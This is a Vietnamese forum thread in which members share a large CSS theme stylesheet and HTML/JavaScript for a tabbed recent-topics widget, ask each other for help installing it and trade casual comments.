{background:url('http://2img.net/i/fa/p_strength/pwd_middle.png');}#pwd_bad {background:url('http://2img.net/i/fa/p_strength/pwd_bad.png');}#fb_explain td {padding : 5px 0 5px 0;vertical-align : top;}.row1.fb {padding: 5px 2px 4px 2px;}.row2.fb {padding: 2px 3px 2px 8px;}#cont_fb_invit iframe {width: 760px !important;}#loading {
    width: 160px;
    height: 105px;
  background: url("http://i65.servimg.com/u/f65/14/55/79/71/ajax-l11.gif") 150px 30px;
    background-repeat: repeat-y;
background-position: bottom center;
    position: absolute;
    left: 45%;
    top: 60%;
    margin-top: -50px;
    margin-left: -10px;
    text-align: center;
}































body
{
   background: #8da324;
   color: #4d4d4d;
   font: 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
   margin: 0px;
   padding: 0px;
}
a:link, body_alink
{
   color: #8da324;
   text-decoration: none;
}
a:visited, body_avisited
{
   color: #8da324;
   text-decoration: none;
}
a:hover, a:active, body_ahover
{
   color: #FF4400;
}
.page
{
   background: #FFFFFF;
   color: #4d4d4d;
}
td, th, p, li
{
   font: 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.tborder
{
   background: #FFFFFF;
   color: #4d4d4d;
   border: 1px dashed #8da324;
}
.tcat
{
   background: #8da324;
   color: #FFFFFF;
   font: bold 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.tcat a:link, .tcat_alink
{
   color: #ffffff;
   text-decoration: none;
}
.tcat a:visited, .tcat_avisited
{
   color: #ffffff;
   text-decoration: none;
}
.tcat a:hover, .tcat a:active, .tcat_ahover
{
   color: #FF4400;
   text-decoration: underline;
}
.thead
{
   background: url(http://i1022.photobucket.com/albums/af347/kenkul123/1.png);
   color: #FFFFFF;
   font: bold 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.thead a:link, .thead_alink
{
   color: #FFFFFF;
   text-decoration: none;
}
.thead a:visited, .thead_avisited
{
   color: #FFFFFF;
   text-decoration: none;
}
.thead a:hover, .thead a:active, .thead_ahover
{
   color: #FF4400;
}
.tfoot
{
   background: url(http://i1022.photobucket.com/albums/af347/kenkul123/1.png);
   color: #FFFFFF;
}
.tfoot a:link, .tfoot_alink
{
   color: #FFFFFF;
   text-decoration: none;
}
.tfoot a:visited, .tfoot_avisited
{
   color: #FFFFFF;
   text-decoration: none;
}
.tfoot a:hover, .tfoot a:active, .tfoot_ahover
{
   color: #FF4400;
}
.alt1, .alt1Active
{
   background: url(http://i1022.photobucket.com/albums/af347/kenkul123/3.png);
   color: #4d4d4d;
}
.alt2, .alt2Active
{
   background: url(http://i1022.photobucket.com/albums/af347/kenkul123/2.png);
   color: #4d4d4d;
}
.inlinemod
{
   background: #FFFFCC;
   color: #000000;
}
.wysiwyg
{
   background: #F5F5FF;
   color: #000000;
   font: 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
   margin: 5px 10px 10px 10px;
   padding: 0px;
}
.wysiwyg a:link, .wysiwyg_alink
{
   color: #22229C;
}
.wysiwyg a:visited, .wysiwyg_avisited
{
   color: #22229C;
}
.wysiwyg a:hover, .wysiwyg a:active, .wysiwyg_ahover
{
   color: #FF4400;
}
textarea, .bginput
{
   font: 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.bginput option, .bginput optgroup
{
   font-size: 10pt;
   font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.button
{
   font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
select
{
   font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
option, optgroup
{
   font-size: 11px;
   font-family: verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.smallfont
{
   font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.time
{
   color: #666686;
}
.navbar
{
   font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.highlight
{
   color: #FF0000;
   font-weight: bold;
}
.fjsel
{
   background: #3E5C92;
   color: #E0E0F6;
}
.fjdpth0
{
   background: #F7F7F7;
   color: #000000;
}
.panel
{
   background: #E4E7F5 url(images/gradients/gradient_panel.gif) repeat-x top left;
   color: #000000;
   padding: 10px;
   border: 2px outset;
}
.panelsurround
{
   background: #D1D4E0 url(images/gradients/gradient_panelsurround.gif) repeat-x top left;
   color: #000000;
}
legend
{
   color: #22229C;
   font: 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
}
.vbmenu_control
{
   background: #8da324;
   color: #FFFFFF;
   font: bold 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
   padding: 3px 6px 3px 6px;
   white-space: nowrap;
}
.vbmenu_control a:link, .vbmenu_control_alink
{
   color: #FFFFFF;
   text-decoration: none;
}
.vbmenu_control a:visited, .vbmenu_control_avisited
{
   color: #FFFFFF;
   text-decoration: none;
}
.vbmenu_control a:hover, .vbmenu_control a:active, .vbmenu_control_ahover
{
   color: #FFFFFF;
   text-decoration: underline;
}
.vbmenu_popup
{
   background: #FFFFFF;
   color: #000000;
   border: 1px solid #8da324;
}
.vbmenu_option
{
   background: #d1daa7;
   color: #000000;
   font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
   white-space: nowrap;
   cursor: pointer;
}
.vbmenu_option a:link, .vbmenu_option_alink
{
   color: #8ca33c;
   text-decoration: none;
}
.vbmenu_option a:visited, .vbmenu_option_avisited
{
   color: #8ca33c;
   text-decoration: none;
}
.vbmenu_option a:hover, .vbmenu_option a:active, .vbmenu_option_ahover
{
   color: #FFFFFF;
   text-decoration: none;
}
.vbmenu_hilite
{
   background: #c4cf90;
   color: #FFFFFF;
   font: 11px verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
   white-space: nowrap;
   cursor: pointer;
}
.vbmenu_hilite a:link, .vbmenu_hilite_alink
{
   color: #FFFFFF;
   text-decoration: none;
}
.vbmenu_hilite a:visited, .vbmenu_hilite_avisited
{
   color: #FFFFFF;
   text-decoration: none;
}
.vbmenu_hilite a:hover, .vbmenu_hilite a:active, .vbmenu_hilite_ahover
{
   color: #FFFFFF;
   text-decoration: none;
}
/* ***** styling for 'big' usernames on postbit etc. ***** */
.bigusername { font-size: 14pt; }

/* ***** small padding on 'thead' elements ***** */
td.thead, th.thead, div.thead { padding: 4px; }

/* ***** basic styles for multi-page nav elements */
.pagenav a { text-decoration: none; }
.pagenav td { padding: 2px 4px 2px 4px; }

/* ***** de-emphasized text */
.shade, a.shade:link, a.shade:visited { color: #777777; text-decoration: none; }
a.shade:active, a.shade:hover { color: #FF4400; text-decoration: underline; }
.tcat .shade, .thead .shade, .tfoot .shade { color: #DDDDDD; }

/* ***** define margin and font-size for elements inside panels ***** */
.fieldset { margin-bottom: 6px; }
.fieldset, .fieldset td, .fieldset p, .fieldset li { font-size: 11px; }
.fot { font-size: 11px; color: #FFFFFF; }
.fot a:link, .fot a:visited, .fot a:active { color: #FFFFFF; font-weight: bold; }
.sp { height: 5px; }

.left { background: #FFFFFF url(http://i1022.photobucket.com/albums/af347/kenkul123/left.gif) repeat-y left; }
.right { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/right.gif) repeat-y right; }

.nav1 { width: 158px; height: 74px; background: url(http://i1022.photobucket.com/albums/af347/kenkul123/navi.gif) no-repeat top left; }
.nav2 { width: 782; height: 74px; background: url(http://i1022.photobucket.com/albums/af347/kenkul123/navi-1.gif) repeat-x; background-position: 0px -74px; }
.nav3 { width: 10px; height: 74px; background: url(http://i1022.photobucket.com/albums/af347/kenkul123/navi-1.gif) no-repeat top right; background-position: -148px -148px; }

.m1 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/menu.gif) no-repeat; background-position: 0px 0px; height: 31px; }
.m2 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/menu.gif) repeat-x; background-position: 0px -62px; height: 31px; }
.m3 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/menu.gif) no-repeat; background-position: 941px -31px; height: 31px; }
.m4 { margin: 0px 10px; text-align: center; color: #FFFFFF; font-weight: bold;}
.m4 a:link, .m4 a:active, .m4 a:visited { color: #FFFFFF; font-weight: bold; line-height: 31px; background: url(http://i1022.photobucket.com/albums/af347/kenkul123/line.gif) no-repeat bottom right; padding: 7px; text-decoration: none; }
.m4 a:hover { color: #e17710; }

.box { margin: 0px 0px 32px 0px; }
.boxl { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/l.gif) repeat-y left; }
.boxr { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/r.gif) repeat-y right; }

.box11 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/box11.gif) no-repeat top left; }
.box12 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/box12.gif) repeat-x top; }
.box13 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/box13.gif) no-repeat top right; }

.box21 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/box31.gif) no-repeat bottom left; }
.box22 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/box32.gif) repeat-x bottom; }
.box23 { background: url(http://i1022.photobucket.com/albums/af347/kenkul123/box33.gif) no-repeat bottom right; }

.title { height: 55px; text-align: right; line-height: 55px; }
.title a:link, .title a:visited, .title a:active .secondarytitle,.secondarytitle h2 {
font-weight: bold;
text-align: center;
text-decoration: none;
font-size: 20pt;
font-family: Palatino Linotype;
font-style: italic;
color: #8da324;
margin-right: 70px; }
.title a:hover { color: #e17710; }

form {
   margin: 0px;
}

label {
   cursor: default;
}

.normal {
   font-weight: normal;
}

.inlineimg {
   vertical-align: middle;
}

.underline {
   text-decoration: underline;
}

.vbmenu_hilite * {
   cursor: pointer;
}

 .quote {
border-style: dashed;color : #000000;font: normal 10pt Segoe UI, Verdana, Tahoma, Arial, Sans-Serif, Trebuchet MS, Georgia, Courier, Times New Roman, Serif;border-color : #000000;background-color: #ffffb4;padding-left: 5px;padding-top: 5px;padding-right: 5px;padding-bottom: 5px;}

 .code {
border-style: dashed;color : #000000;font: normal 10pt Segoe UI, Verdana, Tahoma, Arial, Sans-Serif, Trebuchet MS, Georgia, Courier, Times New Roman, Serif;border-color : #000000;background-color: #ffffb4;padding-left: 5px;padding-top: 5px;padding-right: 5px;padding-bottom: 5px;}



.rate{background: #F3E4EB;color: #000;border: 1px solid #000;}
.ratetext{font: bold 10pt verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;}
.border_img{
background: #ffffff; border: 1px #1b1b1b solid; }
.t2border{
background: #f3f3f3; border: 1px #ededed solid; }
.avatar_forumdisplay {
padding:0px 5px 0px 0px;
}



/* Chatbox */#frame_chatbox {border: none !important;}body.chatbox {min-width: 550px !important;background-image: none;padding: 0;margin: 0;background-color: #ffffff;}#chatbox_members {position: absolute;top: 30px;bottom: 30px;width: 180px;overflow: auto;border-right: 1px solid ;}#chatbox {position: absolute;top: 30px;left: 181px;right: 0;bottom: 30px;overflow: auto;line-height: 10px;}.chatbox_row_1,.chatbox_row_2,.chatbox_row_3 {font-size: 12px;}.chatbox-options {text-align:right;}#chatbox_messenger_form .gen,#chatbox_messenger_form .text-field,#chatbox_messenger_form {float:right;white-space : nowrap;}#chatbox_footer {position: absolute;bottom: 0;left: 0;right: 0;height: 30px;}#chatbox_footer table.text-styles {float: right;}#chatbox_footer .text-field {float: left;}#chatbox_header {height: 30px;background-color: #ffffff;}#chatbox p {line-height: 1.2em;}.chatbox_row_1 {padding: 4px;background-color: #;}.chatbox_row_2 {padding: 4px;background-color: #;}.chatbox_row_3 {padding: 4px;background-color: #;}.memberlist_row_1 {padding: 2px 2px 2px 10px;background-color: #;}#chatbox_members .member-title {text-align: center;padding: 0.5em 0.25em;background-image: none;font-size: 12px;background-color: #;color : #0015ff;font-family: Verdana,Arial,Helvetica,sans-serif;}#chatbox_members ul {list-style: none;margin: 0 0 0 10px;}#chatbox_members ul li {margin: 2px 2px 2px 0;}#message,#submit_button{border-width: 1px;}.fontbutton {padding: 1px;cursor: pointer;text-align: left;}.fontbutton_normal {background: #E1E1E2;}.fontbutton_selected {background: #BBC7CE;border: 1px solid #22229C;}.fontbutton_clicked {background: #959595;border: 1px solid #22229C;}.fontbutton_hover {background: #E1E1E2;border: 1px solid #22229C;}#chatbox .user {font-weight: bold;}div#chatbox {color: #000000;}#chatbox_contextmenu { background-color: #; border:1px solid #aaa;}#chatbox_contextmenu p {margin:0; padding: 1px 4px;font-family: verdana, arial, sans-serif;background: #;border-bottom:1px solid #777; }#chatbox_contextmenu p.hover { background: #; }#chatbox_contextmenu p.close {background: #ddd; padding: 1px; font-size: 70%; color:#fff; background: url(''); }#chatbox_contextmenu p.close img { vertical-align: middle; padding-left: 20px;}#chatbox_contextmenu a { color: #; text-decoration: none; font-size: 70%;}#chatbox_contextmenu a:hover { color: #; }.fontbutton{border:0;}* html #chatbox-members { /* IE expressions helping IE work in Standards mode */height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");}* html #chatbox { /* IE expressions helping IE work in Standards mode */height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 1.3) ) + "px");}* html #chatbox-footer {/* IE expressions helping IE work in Standards mode */width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");}

.khung
{
background:#FFFAF0;
font-size: 8pt;
color: #000000; font-family: Verdana,Tahoma, Helvetica, Arial, sans-serif;
padding:2px 10px 2px 10px;
margin-bottom: 2px;
border: 1px dashed #FC4400;
}
#footer
.footer-box
{
background:#FFFAF0;
float: left;
   width: 280px;
   margin-left: 9px;
   margin-bottom: 10px;
padding:2px 10px 2px 10px;
margin-bottom: 2px;
border: 1px dashed #FC4400;
}

.footer-box a:hover {
   color: #fff !important;
}
.credits {
   clear: both;
   padding-bottom: 20px;
   margin-top: 20px;
   float: left;
   font-size: 11px;
   width: 950px;
   color: #f2cf8b;
}
.credits a:link, .credits a:hover, .credits a:visited {
   color: #fff;
   font-weight: bold;
}
a{text-decoration:none}

#dhtmlpointer, #dhtmltooltip
{
  z-index: 999;
  left: -300px; top:0px;
  visibility: hidden;
  position: absolute;
}




#dhtmltooltip
{
  border: #666 2.4px solid;
  -moz-opacity: 0.8; /* lam mo tooltip FF */
  opacity: 0.8; /* lam mo tooltip Opera */
  filter: alpha(opacity=80); /* lam mo tooltip IE */
  -moz-border-radius: 6px;
  -webkit-border-radius: 6px;
  padding: 10px;
  font-size: 10pt;
  font-family: Arial;
  background-color: white;
  width: auto;
  max-width: 340px; /* chieu rong toi da cho FF */
  width:expression( document.body.clientWidth > 340? "340px": "auto" ); /* chieu rong toi da cho IE */
  text-align:left;
}






















/* resize image */
.resize_process .resizebox {
   display: none;
   }
.resize_process img.resize_img {
   display: inline-block;
   }
.resizebox a.enlarge, .resizebox a.fullsize, .resizebox a.resize {
   display: inline-block;
   zoom: 1;
   *display: inline;

border: 1px solid #000000;
padding:2px;
margin:1px;
background-image: url('http://i1022.photobucket.com/albums/af347/kenkul123/button12.gif');

   }
.resizebox.enlarged a.enlarge {
   display: none;
   }
.resizebox.enlarged a.resize {
   display: inline-block;
border: 1px solid #000000;
padding:2px;
background-image: url('http://i1022.photobucket.com/albums/af347/kenkul123/button12-1.gif');

   }
.resizebox a.resize {
   display: none;
   }
.resizebox {
   background-color: #ffff99;
   max-width: 100%;
   line-height: 1.1em;
   cursor: default;
   font-weight: normal;
   font-style: normal;
   margin: 0;
   text-align: left;
   display: inline-block;
   }
.resizebox div {
   font-weight: normal;
   font-style: normal;
   margin: 0;
border: 1px solid #ffff99;
   }
.resizebox .resize_border {
   border: 1px solid #ffff99;
   display: block;
   }
.resizebox .resize_content {
   padding: 5px 10px;
   display: inline-block;
   zoom: 1;
   *display: inline;
   }

.resizebox .resize_filler {
   border: none;
   padding: 0;
   width: 40px;
   display: inline-block;
   zoom: 1;
   *display: inline;
   }

.attachbox {
   background-color:#FFFFFF;
   border-color:#C9D2D8;
   border:1px dashed #D8D8D8;
   clear:left;
   float:left;
   margin:5px 5px 5px 0;
   padding:6px;
   width:auto;
   color:#888888;
   }
.attachbox dt {
   font-family:Arial,Helvetica,sans-serif;
   text-transform:uppercase;
   }
.attachbox dd {
   border-top:1px solid #D8D8D8;
   clear:left;
   font-size:0.9em;
   margin-left:10px;
   padding:0;
   }
dl.file {
   display:block;
   font-family:Verdana,Arial,Helvetica,sans-serif;
   margin-bottom:10px;
   }
dl.file dt {
   font-family:Verdana,Arial,Helvetica,sans-serif;
   font-weight:bold;
   margin:0;
   padding:0;
   text-transform:none;
   }
dl.file dt img {
   vertical-align:middle}
.info {
   font-size:10px;
   font-style:italic;
   }


#topbar
      {
      position:absolute;
      border: 1px solid black;
      padding: 2px;
      background-color: lightyellow;
      width: 400px;
      visibility: hidden;
      z-index: 999;
      }
 
   .tieude_popup
      {
         background: #3883cc;
         color: #FFFFFF;
         font: bold 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;
         padding: 5px 10px 5px 15px;
      }









































































HTML,BODY{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/sparklepink.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/sparklepink.gif"), auto;}
A:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/sparklebluelinkselect.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/sparklebluelinkselect.gif"), auto;}


dhtmlpointer, #dhtmltooltip
{
  z-index: 999;
  left: -300px; top:0px;
  visibility: hidden;
  position: absolute;
}
#dhtmltooltip
{
  border: #666 2.4px solid;
  -moz-opacity: 0.8; /* lam mo tooltip FF */
  opacity: 0.8; /* lam mo tooltip Opera */
  filter: alpha(opacity=80); /* lam mo tooltip IE */
  -moz-border-radius: 6px;
  -webkit-border-radius: 6px;
  padding: 10px;
  font-size: 10pt;
  font-family: Arial;
  background-color: white;
  width: auto;
  max-width: 340px; /* chieu rong toi da cho FF */
  width:expression( document.body.clientWidth > 340? "340px": "auto" ); /* chieu rong toi da cho IE */
  text-align:left;
}

code css của e nó rối lên thế này e chẳng biết thay sao nữa ai xem hộ giúp e với

[bluehnvn]

xem bản demo tuyệt vời, gút gút cảm ơn for chia sẻ

[ligerv]

code css của e nó rối lên thế này e chẳng biết thay sao nữa ai xem hộ giúp e với

mở firefox lên , bấn Ctrl+F rồi tìm cho nhanh

[Kiến]

anh phải để nó một thời gian cho mọi người thèm chơi rồi mới chia sẻ chứ!
thành viên có tinh thần chia sẻ anh không làm mod thì uổng quá

[Duyen Duyen]

Cho xem thử

[shine shaymin sky]

Xem nào

[zkenz]

cứu e với sau khi add code chatbox thì 4r e ko vào được nữa mọi ng chỉ e với
http://kenhouse.co.cc/

[bluehnvn]

Code:

</tr></table></td>
<td style="width: 0px"></td>
<td valign="top" style="border: 1px solid #9DB3C5; padding: 1px">
<style type="text/css">
th,td,p {
    font-family: Tahoma,Verdana,Arial,Helvetica,sans-serif }
/* Style cho menu tabs */div.TabView div.Tabs{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs: hover,{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs a , div.TabView div.Tabs a:hover {float: left;display: block;background-color:#;text-align: center;height: 29px;padding: 6px;vertical-align: middle;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; /* đường viền quanh tabs menu */text-decoration: none;font-family: Tahoma;font-size: 11px;color: #000000;}.hotrott{background-color: #ffffff;border: 0px solid #ded7d7;}.nen{background-color: #ffffff;border: 1px solid #ded7d7;}div.TabView div.Tabs a.Active{background-color: #ffffff; /* màu nền tab menu active */color: #000000;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; padding: 6px;height: 29px;font-size: 11px;font-weight: bold;}/* Style cho phần text nội dung của mỗi tab */div.TabView {clear: both;border: 0px solid #ffffff;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}div.TabView div.Pages div.Page{height: 100%;padding: 0px;border: 0px solid #b4d0f3;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}</style><script type="text/javascript" src="http://untip-js.googlecode.com/files/Tabview.js"></script><div id="TabView" class="TabView" style="padding: 0px;"><!--
tabs --><div width="100%" class="Tabs"><a class="Active" href="javascript:tabview_switch('TabView', 1);">Bài Viết Mới</a><a>Thống kê</a><ul class="tabs" id="vietvbb_topstats_t">  <li style="border-right: 0px; display: none;" id="vietvbb_topstats_t_loading"></li> </ul> </div><!--
 nội dung tabs --><div style="height:410px; width:100%" class="Pages"><div class="Page" style="padding: 0px; height: 304px; display: block;"><!-- BEGIN classical_row -->
<table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="80%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<b>Tiêu đề:</b> <font color=#B429DF>{classical_row.recent_topic_row.L_TITLE}</font><br> <b>Thời gian:</b> <font color=#297CDF>{classical_row.recent_topic_row.S_POSTTIME}</font>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_TITLE}"><b><font style="font-family: Tahoma; font-size: 11px">{classical_row.recent_topic_row.L_TITLE}</font></b></a>
<!-- END recent_topic_row --></td><td></td><td style="border-top: 0px none; padding: 2px; line-height: 20px; background-repeat: repeat;" align="right" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="20%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<span>Click để xem profile của thành viên này !</span>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_POSTER}"><font style="font-family: Tahoma; font-size: 11px"><img src="http://i832.photobucket.com/albums/zz244/a1tg3/mem.gif" height="13" />{classical_row.recent_topic_row.S_POSTER}&nbsp;&nbsp;</font></a>
<!-- END recent_topic_row --></td></tr></table></td></tr></tbody></table>

<!-- END classical_row -->

</div><div class="Page" style="padding: 0px; height: 304px; display: block;"><table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif">
<A href=http://a1tinhgia3.co.cc/search.forum?search_id=activetopics><span><font style="font-family: Tahoma; font-size: 11px">Bài viết trong ngày</span></a>

<A href=http://a1tinhgia3.co.cc/stats.htm#10><span><font style="font-family: Tahoma; font-size: 11px">Các bài viết trong tháng</span></a>

<A href=http://a1tinhgia3.co.cc/stats.htm#2><span><font style="font-family: Tahoma; font-size: 11px">Thống kê tổng thể</span></a>

<A href=http://a1tinhgia3.co.cc/stats.htm#3><span><font style="font-family: Tahoma; font-size: 11px">Topic sôi nổi nhất</span></a>

 <A href=http://a1tinhgia3.co.cc/stats.htm#4><span><font style="font-family: Tahoma; font-size: 11px">Topic xem nhiều nhất</span></a>

 <A href=http://a1tinhgia3.co.cc/stats.htm#5><span><font style="font-family: Tahoma; font-size: 11px">Thành viên có nhiều chủ đề nhất</span></a>

 <A href=http://a1tinhgia3.co.cc/stats.htm#6><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong 1 tuần</span></a>

 <A href=http://a1tinhgia3.co.cc/stats.htm#7><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong tháng</span></a>

 <A href=http://a1tinhgia3.co.cc/stats.htm#8><span><font style="font-family: Tahoma; font-size: 11px">Top poster</span></a>

  <A href=http://a1tinhgia3.co.cc/stats.htm#9><span><font style="font-family: Tahoma; font-size: 11px">Số topic trong tháng</span></a>

</td></tr></table></td></tr></tbody></table>
</div> <script type="text/javascript">tabview_initialize('TabView');</script><ScrollTop --><style type="text/css">#topbar{  PADDING-TOP: 0px;PADDING-BOTTOM: 0px;PADDING-RIGHT: 0px; PADDING-LEFT: 0px;VISIBILITY: hidden;WIDTH: 180px;FONT-FAMILY: Tahoma;POSITION: absolute;}</style><script type="text/javascript">var persistclose = 0<!--
 Vị trí-->var startX = 80var startY = 500var verticalpos = "frombottom"function iecompattest(){return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body}function get_cookie(Name){var search = Name + "="var returnvalue = "";if (document�cookie.length > 0){offset = document�cookie.indexOf(search)if (offset != -1){offset += search.lengthend = document�cookie.indexOf(";", offset);if (end == -1) end = document�cookie.length;returnvalue=unescape(document�cookie.substring(offset, end))}}return returnvalue;}function closebar(){if (persistclose)document�cookie="remainclosed=1"document.getElementById("topbar").style.visibility="hidden"}function staticbar(){barheight=document.getElementById("topbar").offsetHeightvar ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;var d = document;function ml(id){var el=d.getElementById(id);if (!persistclose || persistclose && get_cookie("remainclosed")=="")el.style.visibility="visible"if(d.layers)el.style=el;el.sP=function(x,y){this.style.right=x+"px";this.style.top=y+"px";};el.x = startX;if (verticalpos=="fromtop")el.y = startY;else{el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;el.y -= startY;}return el;}window.stayTopLeft=function(){if (verticalpos=="fromtop"){var pY = ns ? pageYOffset : iecompattest().scrollTop;ftlObj.y += (pY + startY - ftlObj.y)/8;}else{var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;ftlObj.y += (pY - startY - ftlObj.y)/8;}ftlObj.sP(ftlObj.x, ftlObj.y);setTimeout("stayTopLeft()", 10);}ftlObj = ml("topbar");stayTopLeft();}if (window.addEventListener)window.addEventListener("load", staticbar, false)else if (window.attachEvent)window.attachEvent("onload", staticbar)else if (document.getElementById)window.onload=staticbar</script></div> </td>

Chủ topic ơi chia sẻ lại code recenttopic đi code này thiếu tùm lum ah \\m/

[idolyeah]

Rep mới chả ly @@

[cauam]

cũng sáng tạo đó

[cmcm7]

anh phải để nó một thời gian cho mọi người thèm chơi rồi mới chia sẻ chứ!
thành viên có tinh thần chia sẻ anh không làm mod thì uổng quá

trên đời này đúng là phải chém chết vài thằng

[Kiến]

trả lời 45,lượt xem 355
mà số vote + 4 @@!
mọi người vote cho anh thuận đi chứ

[Kiến]

anh phải để nó một thời gian cho mọi người thèm chơi rồi mới chia sẻ chứ!
thành viên có tinh thần chia sẻ anh không làm mod thì uổng quá

trên đời này đúng là phải chém chết vài thằng

không thù không oán tự dưng đòi chém

[thuanoo7]

Bạn ơi!
Sao mình làm rồi mà nó thiếu cái top poster , còn last topic thì nó hiện ra chỉ có 1-12 thui chứ ko dc 20 , mà trong số 12 thì chĩ hiện lên có 7bài viết mới nhất, còn lại là ô trống ????
- có thễ mình làm sao, nhưng làm y như trên bạn chĩ đó
ko hĩu
Bạn vào giúp với hoặc check lại xem có thíu phần nào không
Dù sao cũng cảm ơn bạn nhiệt tình ^^!

1. Do bạn chưa gắn widget.
2. Forum mới có 12 bài viết viết đủ 20 bài đi rồi nó hiện hết.
3. Lastest topic mình dùng <br> để xuống dòng chứ không dùng div block nên trong quá trình chỉnh sửa bài viết có thể bạn chủ topic làm mất


dấu
khi edit bài sẽ mất
tốt nhấn nên dùng <br>

cảm ơn đã chỉ ra lỗi này đã fix rồi

